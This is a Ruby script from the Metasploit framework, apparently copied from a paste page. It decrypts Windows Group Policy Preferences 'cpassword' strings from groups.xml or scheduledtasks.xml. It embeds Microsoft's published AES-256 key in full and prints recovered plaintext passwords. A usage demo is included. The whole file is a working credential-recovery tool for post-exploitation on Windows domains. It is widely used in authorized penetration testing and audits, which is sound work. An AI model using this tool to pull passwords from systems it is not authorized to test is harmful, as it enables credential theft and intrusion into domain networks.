cpassword_decrypt.rb 3.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129
  1. #!/usr/bin/env ruby
  2. ##
  3. # This module requires Metasploit: https://metasploit.com/download
  4. # Current source: https://github.com/rapid7/metasploit-framework
  5. ##
  6. #
  7. # This script will allow you to specify an encrypted cpassword string using the Microsoft's public
  8. # AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
  9. # the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
  10. # decrypted string for you.
  11. #
  12. # Tested Windows Server 2008 R2 Domain Controller.
  13. #
  14. # Authors:
  15. # Ben Campbell <eat_meatballs[at]hotmail.co.uk>
  16. # Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
  17. # scriptmonkey <scriptmonkey[at]owobble.co.uk>
  18. # theLightCosine
  19. # mubix (domain/dc enumeration code)
  20. # David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
  21. #
  22. # References:
  23. # http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
  24. # http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
  25. # http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
  26. # http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
  27. #
  28. # Demo:
  29. # $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
  30. # [+] The decrypted AES password is: testpassword
  31. #
  32. msfbase = __FILE__
  33. while File.symlink?(msfbase)
  34. msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
  35. end
  36. $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
  37. gem 'rex-text'
  38. require 'msfenv'
  39. require 'rex'
  40. class CPassword
  41. #
  42. # Decrypts the AES-encrypted cpassword string
  43. # @param encrypted_data [String] The encrypted cpassword
  44. # @return [String] The decrypted string in ASCII
  45. #
  46. def decrypt(encrypted_data)
  47. # Prepare the password for the decoder
  48. padding = "=" * (4 - (encrypted_data.length % 4))
  49. epassword = "#{encrypted_data}#{padding}"
  50. # Decode the string using Base64
  51. decoded = Rex::Text.decode_base64(epassword)
  52. # Decryption
  53. key = ''
  54. key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"
  55. key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
  56. begin
  57. aes = OpenSSL::Cipher.new("AES-256-CBC")
  58. aes.decrypt
  59. aes.key = key
  60. plaintext = aes.update(decoded)
  61. plaintext << aes.final
  62. rescue OpenSSL::Cipher::CipherError
  63. # Decryption failed possibly due to bad input
  64. return ''
  65. end
  66. # Converts the string to ASCII
  67. Rex::Text.to_ascii(plaintext)
  68. end
  69. end
  70. #
  71. # Shows script usage
  72. #
  73. def usage
  74. print_status("Usage: #{__FILE__} [The encrypted cpassword string]")
  75. exit
  76. end
  77. #
  78. # Prints a status message
  79. #
  80. def print_status(msg='')
  81. $stderr.puts "[*] #{msg}"
  82. end
  83. #
  84. # Prints an error message
  85. #
  86. def print_error(msg='')
  87. $stderr.puts "[-] #{msg}"
  88. end
  89. #
  90. # Prints a good message
  91. #
  92. def print_good(msg='')
  93. $stderr.puts "[+] #{msg}"
  94. end
  95. #
  96. # main
  97. #
  98. if __FILE__ == $PROGRAM_NAME
  99. pass = ARGV.shift
  100. # Input check
  101. usage if pass.nil? or pass.empty?
  102. cpasswd = CPassword.new
  103. pass = cpasswd.decrypt(pass)
  104. if pass.empty?
  105. print_error("Nothing was decrypted, please check your input.")
  106. else
  107. print_good("The decrypted AES password is: #{pass}")
  108. end
  109. end